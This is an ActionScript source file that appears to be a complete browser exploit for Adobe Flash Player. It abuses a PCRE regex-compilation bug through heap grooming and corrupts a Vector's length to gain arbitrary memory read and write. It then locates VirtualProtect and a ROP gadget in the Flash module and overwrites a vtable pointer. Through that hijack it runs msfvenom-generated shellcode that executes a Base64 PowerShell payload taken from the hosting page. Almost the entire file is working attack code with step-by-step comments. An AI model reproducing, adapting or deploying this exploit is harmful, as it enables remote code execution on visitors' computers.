package { /* To compile (AIRSDK + Flex): mxmlc Main.as -o Main.swf -strict=false */ import mx.utils.Base64Decoder; import flash.display.*; import flash.utils.ByteArray; import flash.external.ExternalInterface; import mx.utils.Base64Decoder; public class Main extends Sprite { private var i:int; private var j:int; private const OP_END:int = 0; private const OP_ANY:int = 12; private const OP_KET:int = 84; private const OP_CBRA:int = 94; private const OP_FAIL:int = 108; private const OP_ACCEPT:int = 109; private var testSubject:String = 'c01db33f'; private var subject:String = ''; private var count_576:int = 128; private var pre_576:int = 4; private var groom_576:Array = new Array(count_576); private var count_re:int = 8; private var source_re:Vector. = new Vector.(count_re); private var compiled_re:Vector. = new Vector.(count_re); private var subjects:Vector. = new Vector.(count_re); private var count_504:int = 256 * 3; private var pre_504:int = 30; private var groom_504:Array = new Array(count_504); private var junk:Array = new Array(); private var junk_idx:int = 0; public static function Debug(message:String):void { ExternalInterface.call('console.log', message); } public function MakeRegex(c:String):String { var i:int; var r:String = '(c01db33f|^(' + c + '*)' for (i = 0; i < 39; ++i) { r += '(A)'; } r += '\\' r += '41'; for (i = 0; i < 20; ++i) { r += 'A'; } r += '(' r += '\\' r += 'c' r += '\uc080' r += '*)?(?70))'; return r; } public function MakeSubject(c:String):String { var i:int; var s:String = c; for (i = 0; i < 0x80 - 0x3d; ++i) { s += c; } for (i = 0; i < 60; ++i) { s += 'A'; } return s; } public function MakeByteArray(size:int):ByteArray { var i:int = 0; var b:ByteArray = new ByteArray(); b.length = size; for (i = 0; i < size; ++i) { b.writeByte(0x23); } return b; } public function Initialise():void { for (i = 0; i < 8; ++i) { subjects[i] = MakeSubject(i.toString()); source_re[i] = MakeRegex(i.toString()); } } public function CompileRegex():RegExp { // heap groom the block of regex bytecode we want to follow our // legitimate bytecode. for (i = 0; i < count_576; ++i) { var b:ByteArray = new ByteArray(); b.length = 576; // regex nop sled :-p for (j = 0; j < 500; ++j) { b.writeByte(OP_ANY); } // this is the capturing bracket that find_bracket will be // looking for to match (?70) b.writeByte(OP_CBRA); b.writeByte(1); // WORD length of group (only != 0) b.writeByte(0); b.writeByte(0); // WORD number of group (must == 70) b.writeByte(70); // we use OP_CBRA to write the current match length at one // dword past the end of our offset_vector. // // this is due to another bug in pcre_exec where it is // assumed that the group number is // 0 < number < md->offset_max // and it is only checked that group < md->offset_max, and // then indexing is done backwards frm the end of the buffer, // so a group number of 0 lets us index one dword past the end // of the offset_vector. b.writeByte(OP_CBRA); b.writeByte(0); // WORD length of group b.writeByte(0); b.writeByte(0); // WORD number of group b.writeByte(0); // we're done with executing this regex for now. b.writeByte(OP_ACCEPT); // yay a match :-) b.writeByte(OP_KET); // closing KET for group (?70) b.writeByte(OP_KET); // closing KET for exploit group b.writeByte(OP_END); b.writeByte(0); groom_576[i] = b; } // make some gaps for (i = 0; i < count_576; i += 2) { groom_576[i].length = 0; groom_576[i] = null; } for (i = 0; i < (pre_576 * 2); i += 2) { groom_576[i] = MakeByteArray(576); } for (i = 0; i < count_re; ++i) { try { Debug('[*] compiling regex'); var re:RegExp = new RegExp(source_re[i]); compiled_re[i] = re; var match:Object = re.exec(testSubject); if (match != null && match[0] == 'c01db33f') { Debug('[*] compiled successfully'); subject = subjects[i]; return re; } else { // that allocation was no good, fill with a bytearray junk[junk_idx++] = MakeByteArray(576); } } catch (error:Error) { Debug('[*] error compiling regex: ' + error.message); } Debug('[*] failed...'); } Debug('[*] failed first groom'); return null; } public function negative(i:uint):uint { return (~i) + 1; } public function CorruptVector(r:RegExp):Vector. { var v:Vector. = null; var uv:Vector. = null; var ov:Vector. = null; for (i = 0; i < count_504; ++i) { v = new Vector.(124); v[0] = 0xc01db33f v[1] = i; for (j = 2; j < 124; ++j) { v[j] = 0x88888888; } groom_504[i] = v; } for (i = 0; i < count_504; i += 3) { groom_504[i].length = 0; groom_504[i] = null; } for (i = 0; i < pre_504; i += 1) { junk[junk_idx++] = MakeByteArray(504); } v = null; for (i = 0; i < 128; i += 3) { try { Debug('[*] executing regex'); r.exec(subject); } catch (error:Error) { Debug('[*] regex execution failed: ' + error.message); } for (j = 1; j < count_504; j += 3) { if (groom_504[j].length != 124) { Debug('[*] corrupted vector'); v = groom_504[j]; break; } } if (v != null) { break; } Debug('[*] failed...'); junk[junk_idx++] = MakeByteArray(504); junk[junk_idx++] = MakeByteArray(504); } // at this point we have a vector with a corrupt length, hopefully // followed by another vector of legitimate length. if (v == null) { Debug('[*] failed to groom for vector corruption'); return null; } if (v[126] != 0xc01db33f) { Debug('[*] magic check failed!'); } // read out the index of the following vector; this is the vector // that we will use for the rest of the exploit i = v[127]; uv = groom_504[i]; uv.fixed = true; // corrupt the length of uv so that we can access all of memory :) v[124] = 0xffffffff; // first fix the length of the original corrupted array so we don't // need to worry about it any more... uv[negative(0x80)] = 0x6e; // now read back 0x1f8 bytes before the first vector; this must be // inside the original offset_vector that we overflowed, (so it is // guaranteed to be safe) and this buffer is directly free'd at the // end of pcre_exec. as it's quite a large allocation, we can be // quite sure that it is still on the freelist and we can steal the // freelist pointer from it, which will likely point to the block // after our second vector. uv[0] = uv[negative(0xfe)]; // we really can't do much sanity checking here; all we know is // that this should be a pointer, and it will be 8 byte aligned. if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) { Debug('[*] freelist ptr sanity check failed!'); uv[negative(2)] = 0x6e; return null; } // uv[0] == address of our vector.'s buffer uv[0] -= 0x1f0; return uv; } public function FindGCHeap(m:Memory):uint { // nothing much to say about this; we know that there's a // FixedBlock at the start of the page that our vector is allocated // on, and that holds a pointer back to the global GCHeap, which is // a static singleton in the flash module. I've copied in the class // declarations for the structures being traversed, for reference. var fixed_block:uint = m.vector_base & 0xfffff000; /* struct FixedBlock { void* firstFree; // First object on the block's free list void* nextItem; // First object free at the end of the block FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator) FixedBlock* prev; // Previous block on the list of blocks uint16_t numAlloc; // Number of items allocated from the block uint16_t size; // Size of objects in the block FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator) FixedBlock *prevFree; // Previous block on the list of blocks with free items -------> FixedAlloc *alloc; // The allocator that owns this block char items[1];l // Memory for objects starts here }; */ var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c); /* class FixedAlloc { private: -------> GCHeap *m_heap; // The heap from which we obtain memory uint32_t m_itemsPerBlock; // Number of items that fit in a block uint32_t m_itemSize; // Size of each individual item FixedBlock* m_firstBlock; // First block on list of free blocks FixedBlock* m_lastBlock; // Last block on list of free blocks FixedBlock* m_firstFree; // The lowest priority block that has free items size_t m_numBlocks; // Number of blocks owned by this allocator #ifdef MMGC_MEMORY_PROFILER size_t m_totalAskSize; // Current total amount of memory requested from this allocator #endif bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe } */ var gcheap:uint = m.read_dword(fixed_alloc); return gcheap; } public function FindPwned(m:Memory, gcheap:uint):uint { // we're going to walk the heap to find it because we don't like // being crashy. a lazier approach would be to spray a ton of // objects and scan forward from our array; this is more reliable. /* class GCHeap { public: -------> Region *lastRegion; private: ... }; */ // I have no idea why this is at offset 4. GCheap is not virtual // so perhaps the Flash code has changed since the github avmplus // release. var region:uint = m.read_dword(gcheap + 4); /* class Region { public: Region *prev; char *baseAddr; char *reserveTop; char *commitTop; size_t blockId; }; */ while (region != 0) { var region_base:uint = m.read_dword(region + 4); var region_rtop:uint = m.read_dword(region + 8); var region_top:uint = m.read_dword(region + 12); if (region_rtop & 1 != 0) { Debug('[*] this browser already got pwned, go away'); return 0; } m.write_dword(region + 8, region_rtop + 1); // TODO: we can optimise here as we know the alignment of the // magic values. Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']'); for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) { if (m.read_dword(ptr) == 0xdecafbad && m.read_dword(ptr + 4) == 0xdecafbad) { // we have found our two magic values return ptr - 0x10; } } // region = region->prev; region = m.read_dword(region); } return 0; } public function WriteShellcode(v:Vector., i:uint, ptr:uint, fun:uint):void { var myshellcode:Array = GetPayload(); // at this point we are sandwiched on the stack between the current // frame and the previous frame; this is hazardous, we need to // shift our stack back above the current frame or things will go // wrong(tm). v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000 v[i++] = 0x90900000; v[i++] = 0x90909090; v[i++] = 0x90909090; v[i++] = 0x90909090; //v[i++] = 0xcccccccc; // Sort of handy for debugging purposes // Our payload (see GetPayload) for (var payload_i:int; payload_i < myshellcode.length; payload_i++) { v[i++] = myshellcode[payload_i]; } v[i++] = 0x90909090; v[i++] = 0x90909090; v[i++] = 0x90909090; //v[i++] = 0xcccccccc; // Sort of handy for debugging purposes // we just put things back how they were; at least, everything // important. we need esp and ebp to be correct, which is easy; // we need ecx to point to the object's vtable and then we can // just jump to the actual method implementation as though we // had hooked it. v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8 v[i++] = 0x90900000; v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c] v[i++] = 0x90000012; v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr v[i++] = ptr; v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr v[i++] = fun; v[i++] = 0x9090e0ff; // FFE0 jmp eax } public function GetPayload():Array { // Grab the powershell payload from the sh parameter in the HTML file var b64:Base64Decoder = new Base64Decoder(); var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh; b64.decode(raw_psh_payload); var psh_payload:String = b64.toByteArray().toString(); // This is generated from here: // ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none // The original souce can be found at: msf/externa/source/shellcode/single_exec.asm var payload:String = "" + "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" + "\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" + "\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" + "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00"; // Here we convert the binary string to an array of DWORDS var arr:Array = new Array(); for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) { var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join(""); var hex:String = ""; for (var i2:int = 0; i2 < dword.length; i2++) { var byte:String = dword.charCodeAt(i2).toString(16); // The toString(16) conversion doesn't print zeros the way we want it. // Like for example: for a null byte, it returns: '0', but the format should be: '00' // Another example: For 0x0c, it returns 'c', but it should be '0c' if (byte == '0') { byte = "00"; } else if (byte.length == 1) { byte = '0' + byte; } hex += byte; } var real_dword:uint = parseInt(hex, 16); arr.push(real_dword); } return arr; } public function Main() { i = 0; Initialise(); var r:RegExp = CompileRegex(); if (r == null) { return; } Debug("Corrupting Vector"); var v:Vector. = CorruptVector(r); if (v == null) { Debug("CorruptVector returns null"); return; } var m:Memory = new Memory(v, v[0], 0x6e); // at this point we have an absolute read/write primitive letting // us read and write dwords anywhere in memory, so everything else // is a technicality. // we need an exception handler from here, because we have a vector // that's addressing the whole address space, and if anything goes // wrong, we want to clean that up or things will get unpleasant. try { // first we follow some pointers on the heap back to retrieve // the address of the static GCHeap object in the flash module. // this is useful for two reasons; firstly it gives us a // pointer into the flash module, but secondly (and more // importantly) we can use the region lists in the GCHeap // structure to safely scan the heap to find things. var gcheap:uint = FindGCHeap(m); if (gcheap == 0) { return; } // now we can parse the flash module in memory, locate useful // imports and find the stack adjust gadget that we need. Debug('[*] scanning flash module for gadgets'); var p:PE32 = new PE32(m, gcheap); Debug(' [-] ' + p.base.toString(16) + ' flash base'); var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect'); Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect'); // Find this in Flash // 81 c4 40 00 00 00 add esp, 40h // c3 ret var gadget_bytes:ByteArray = new ByteArray(); gadget_bytes.length = 7; gadget_bytes.writeByte(0x81); gadget_bytes.writeByte(0xc4); gadget_bytes.writeByte(0x40); gadget_bytes.writeByte(0x00); gadget_bytes.writeByte(0x00); gadget_bytes.writeByte(0x00); gadget_bytes.writeByte(0xc3); var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes); var ret:uint = add_esp_40h_ret + 6; Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret'); Debug(' [-] ' + ret.toString(16) + ' ret'); // now we create an actionscript class that we can readily // signature on the heap; we're going to find this object and // overwrite its vtable pointer to gain control of execution. Debug('[*] scanning heap to find pwned object'); var pwned:Pwned = new Pwned(); var pwned_ptr:uint = FindPwned(m, gcheap); Debug('[*] pwned object: ' + pwned_ptr.toString(16)); if (pwned_ptr == 0) { return; } // we have a pointer to the object; save the vtable pointer for // replacement later and then create a new vtable containing // our gadget at the correct offset for the 'Rop' function. // object ptr is actually a ScriptObject* for our ClassClosure? var object_ptr:uint = m.read_dword(pwned_ptr + 8); var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4); var method_ptr:uint = m.read_dword(vtable_ptr + 4); var shellcode:uint = m.vector_base + 4; WriteShellcode(v, 1, vtable_ptr, method_ptr); // invoking the method first makes our life simpler; otherwise // flash will go hunt for the right method, and recovery was // quite messy. var a:uint = 0x61616161; pwned.Rop( a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret); // overwrite the method pointer m.write_dword(vtable_ptr + 4, add_esp_40h_ret); // fix up our vector length already, since we won't need it again. m.Cleanup(); var PAGE_EXECUTE_READWRITE:uint = 0x40; // where better to rop than the actual stack :-P Debug('[*] getting ma rop on'); pwned.Rop( // ret sled oh yeah! // actually this is just me lazily making stack space so // that VirtualProtect doesn't trample all over any of // flash's stuff and make it have a sad. ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, // 3f ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, // 7f ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, // cf ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, virtual_protect, // BOOL WINAPI VirtualProtect( shellcode, // ... shellcode, // LPVOID lpAddress, 0x1000, // SIZE_T dwSize, PAGE_EXECUTE_READWRITE, // DWORD flNewProtect, m.vector_base, // LPDWORD lpflOldProtect // ); 0x41414141, 0x41414141); Debug('[*] we survived!'); // no need to fix the vtable, as we only overwrote the pointer // for the Rop method, and it won't get called again. } catch (e:Error) { Debug('[!] error: ' + e.message); } finally { // we *always* need to clean up our corrupt vector as flash // will try to zero it out later otherwise... Debug('[*] cleaning up corrupted vector'); m.Cleanup(); } } } }